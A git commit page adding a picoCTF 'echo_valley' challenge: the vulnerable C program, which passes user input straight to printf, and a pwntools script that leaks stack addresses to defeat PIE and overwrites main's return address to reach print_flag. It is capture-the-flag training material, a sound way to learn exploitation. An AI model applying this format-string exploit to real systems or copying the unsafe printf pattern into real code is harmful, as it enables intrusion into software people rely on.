pwn/echo_valley
This commit is contained in:
Executable
+83
@@ -0,0 +1,83 @@
|
||||
#!/usr/bin/env nix-shell
|
||||
#!nix-shell -i python3 -p "python3.withPackages (ppkgs: with ppkgs; [ pwntools ])"
|
||||
|
||||
from this import s
|
||||
from pwn import *
|
||||
|
||||
exe = ELF("./valley")
|
||||
|
||||
context.binary = exe
|
||||
|
||||
ADDR, PORT, *_ = "shape-facility.picoctf.net 65509".split()
|
||||
|
||||
def conn():
|
||||
if args.REMOTE:
|
||||
r = remote(ADDR, PORT)
|
||||
else:
|
||||
r = process([exe.path])
|
||||
|
||||
return r
|
||||
|
||||
def send_fmt_payload(r: remote, payload: bytes) -> bytes:
|
||||
assert len(payload) < 0x100, "Payload too long"
|
||||
r.sendline(payload)
|
||||
r.recvuntil(b'You heard in the distance: ')
|
||||
return r.recvuntil(b'\n').strip()
|
||||
|
||||
def debug_leak_multiple(r: remote) -> None:
|
||||
for i in range(1, 35):
|
||||
result = send_fmt_payload(r, f"%{i}$p".encode())
|
||||
print(f"{i}, {result}")
|
||||
|
||||
def stage_1_leak_base_address(r: remote) -> None:
|
||||
main_func_arg = 27
|
||||
result = send_fmt_payload(r, f"%{main_func_arg}$p".encode())
|
||||
leaked_address = int(result[2:], 16)
|
||||
base_address = leaked_address - exe.symbols['main']
|
||||
exe.address = base_address
|
||||
print(f"Leaked base address: 0x{base_address:x}")
|
||||
assert exe.address & 0xfff == 0, "Base address is not page aligned"
|
||||
|
||||
def stage_2_leak_main_rip_addr(r: remote) -> int:
|
||||
main_rbp_offset = 20
|
||||
result = send_fmt_payload(r, f"%{main_rbp_offset}$p".encode())
|
||||
main_rbp = int(result[2:], 16)
|
||||
main_rip_addr = main_rbp - 0x08
|
||||
print(f"Leaked main's rip address: 0x{main_rip_addr:x}")
|
||||
return main_rip_addr
|
||||
|
||||
def stage_3_overwrite_return_address(r: remote, main_rip_addr: int) -> None:
|
||||
payload = fmtstr_payload(
|
||||
6,
|
||||
{main_rip_addr: exe.symbols['print_flag']},
|
||||
write_size='short'
|
||||
)
|
||||
r.sendline(payload)
|
||||
|
||||
def main():
|
||||
r = conn()
|
||||
|
||||
# gdb.attach(r, gdbscript='''
|
||||
# break *echo_valley+137
|
||||
# info proc mappings
|
||||
# c
|
||||
# ''')
|
||||
|
||||
r.recvuntil(b'Welcome to the Echo Valley, Try Shouting: \n')
|
||||
|
||||
# debug_leak_multiple(r)
|
||||
stage_1_leak_base_address(r)
|
||||
main_rip_addr = stage_2_leak_main_rip_addr(r)
|
||||
stage_3_overwrite_return_address(r, main_rip_addr)
|
||||
|
||||
r.sendline(b'exit')
|
||||
|
||||
result = r.recvall()
|
||||
if b"picoctf{" in result:
|
||||
flag = result.split(b"picoctf{")[1].split(b"}")[0]
|
||||
print(f"Flag: picoCTF{{{flag.decode()}}}")
|
||||
else:
|
||||
print("Flag not found in output.")
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Executable
BIN
Binary file not shown.
@@ -0,0 +1,49 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
void print_flag() {
|
||||
char buf[32];
|
||||
FILE *file = fopen("/home/valley/flag.txt", "r");
|
||||
|
||||
if (file == NULL) {
|
||||
perror("Failed to open flag file");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
fgets(buf, sizeof(buf), file);
|
||||
printf("Congrats! Here is your flag: %s", buf);
|
||||
fclose(file);
|
||||
exit(EXIT_SUCCESS);
|
||||
}
|
||||
|
||||
void echo_valley() {
|
||||
printf("Welcome to the Echo Valley, Try Shouting: \n");
|
||||
|
||||
char buf[100];
|
||||
|
||||
while(1)
|
||||
{
|
||||
fflush(stdout);
|
||||
if (fgets(buf, sizeof(buf), stdin) == NULL) {
|
||||
printf("\nEOF detected. Exiting...\n");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
if (strcmp(buf, "exit\n") == 0) {
|
||||
printf("The Valley Disappears\n");
|
||||
break;
|
||||
}
|
||||
|
||||
printf("You heard in the distance: ");
|
||||
printf(buf);
|
||||
fflush(stdout);
|
||||
}
|
||||
fflush(stdout);
|
||||
}
|
||||
|
||||
int main()
|
||||
{
|
||||
echo_valley();
|
||||
return 0;
|
||||
}
|
||||
Reference in New Issue
Block a user